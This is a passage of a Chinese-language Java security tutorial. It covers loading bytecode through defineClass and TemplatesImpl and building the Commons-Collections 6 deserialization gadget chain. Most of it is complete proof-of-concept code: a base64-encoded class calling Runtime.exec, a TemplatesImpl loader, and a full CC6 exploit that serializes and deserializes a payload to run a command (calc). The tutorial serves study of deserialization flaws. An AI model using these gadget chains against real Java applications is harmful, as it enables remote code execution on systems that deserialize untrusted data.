        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABgAWCgAXABgIABkKABcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAHQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhDAAHAAgHAB4MAB8AIAEABGNhbGMMACEAIgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAIAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAADAAQABAANAAUACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAkAEAARAAEACQAAACsAAAABAAAAAbEAAAACAAoAAAAGAAEAAAAGAAsAAAAMAAEAAAABABIAEwAAAAEAFAAAAAIAFQ==");
        Class clazz= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calc", code, 0, code.length);
        clazz.newInstance();
    }
}

首先给出poc,成功弹出计算器

image-20210805171447555

利用TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它这就是 TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类 TransletClassLoader

    static final class TransletClassLoader extends ClassLoader {
        private final Map<String,Class> _loadedExternalExtensionFunctions;

         TransletClassLoader(ClassLoader parent) {
             super(parent);
            _loadedExternalExtensionFunctions = null;
        }

        TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
            super(parent);
            _loadedExternalExtensionFunctions = mapEF;
        }

        public Class<?> loadClass(String name) throws ClassNotFoundException {
            Class<?> ret = null;
            // The _loadedExternalExtensionFunctions will be empty when the
            // SecurityManager is not set and the FSP is turned off
            if (_loadedExternalExtensionFunctions != null) {
                ret = _loadedExternalExtensionFunctions.get(name);
            }
            if (ret == null) {
                ret = super.loadClass(name);
            }
            return ret;
         }

        /**
         * Access to final protected superclass member from outer class.
         */
        Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }
    }

我们的目的就是调用这个defineClass。

调用链

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

那我们从头追溯一下调用链。

image-20210805175444537

继续跟踪defineTransletClasses

image-20210805175521130

发现了getTransletInstance

image-20210805175537377

最终跟着到了newTransformer这个类

image-20210805175643658

到了getOutputProperties这个类。

首先给出poc

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class App {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code =Base64.getDecoder().decode("yv66vgAAADQAIwoABgAWCgAXABgIABkKABcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAHQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhDAAHAAgHAB4MAB8AIAEABGNhbGMMACEAIgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAIAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAADAAQABAANAAUACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAkAEAARAAEACQAAACsAAAABAAAAAbEAAAACAAoAAAAGAAEAAAAGAAsAAAAMAAEAAAABABIAEwAAAAEAFAAAAAIAFQ==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

这里的setFieldValue是利用反射给私有属性赋值,这里设置了三个属性。

_bytecodes 是由字节码组成的数组; _name 可以是任意字符串,只要不为null即可; _tfactory 需要是一个 TransformerFactoryImpl 对象,因为

另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

那我们构造一个特殊的类

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

image-20210806102858793

可以看到命令已经成功执行

CommonsCollections6

CommonsCollections1这个利用链只能在Java 8u71之前使用。

在ysoserial中,CommonsCollections6可以说是commons-collections这个库中相对⽐较通⽤的利⽤链,为了解决⾼版本Java的利⽤问题,我们先来看看这个利⽤链的简化利用版

/*
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 
org.apache.commons.collections.functors.ChainedTransformer.transform()
 
org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

我们需要看的主要是从最开始到 org.apache.commons.collections.map.LazyMap.get() 的那⼀部 分,因为 LazyMap#get 后⾯的部分在上⼀篇⽂章⾥已经说了。所以简单来说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections.keyvalue;

import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    public Object getKey() {
        return this.key;
    }

    public Object getValue() {
        return this.map.get(this.key);
    }

    public Object setValue(Object value) {
        if (value == this) {
            throw new IllegalArgumentException("Cannot set value to this map entry");
        } else {
            return this.map.put(this.key, value);
        }
    }

    public boolean equals(Object obj) {
        if (obj == this) {
            return true;
        } else if (!(obj instanceof Entry)) {
            return false;
        } else {
            Entry other = (Entry)obj;
            Object value = this.getValue();
            return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
        }
    }

    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }
}

所以,欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode

ysoserial中,是利⽤ java.util.HashSet#readObject HashMap#put()HashMap#hash(key) 最后到 TiedMapEntry#hashCode()

来看一下HashMap里的方法

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

image-20210805135729784

在HashMap的readObject方法中,调用了hash方法,hash方法中又调用了hashCode方法。

所以其实可以去掉前面两次调用,直接使用HashMap#readObject()HashMap#hash(key) 最后到 TiedMapEntry#hashCode()

构造Gadget代码

为了防止本地混淆,于是使用了fakeTransformers

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这段代码即为恶意LazyMap,现在拿到了一个恶意的LazyMap对象outerMap,将其作为TiedMapEntry的map属性

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey")

接着,为了调⽤ TiedMapEntry#hashCode() ,我们需要将 tme 对象作为 HashMap 的⼀个key。注意, 这⾥我们需要新建⼀个HashMap,⽽不是⽤之前LazyMap利⽤链⾥的那个HashMap,两者没任何关系

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

然后我们就可以将这个expMap作为对象来序列化了

// ==================
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// ==================
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

image-20210805143339968

但是发现没有弹出计算器。

为什么我们构造的Gadget没有成功执行命令?

我们来跟一下

image-20210805144816942

发现这里的关键的没进去。

image-20210805150432774

原因是现在map里是有值的

image-20210805150459053

那么需要给他处理一下。

之前我们在这个地方设置过keykey,导致了无法进去。

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

解决方案

解决方法就是再把它移掉就好了

outerMap.remove("keykey");

成功触发反序列化exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",

                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
//        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//        construct.setAccessible(true);
//        InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
//        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
//        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();


        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}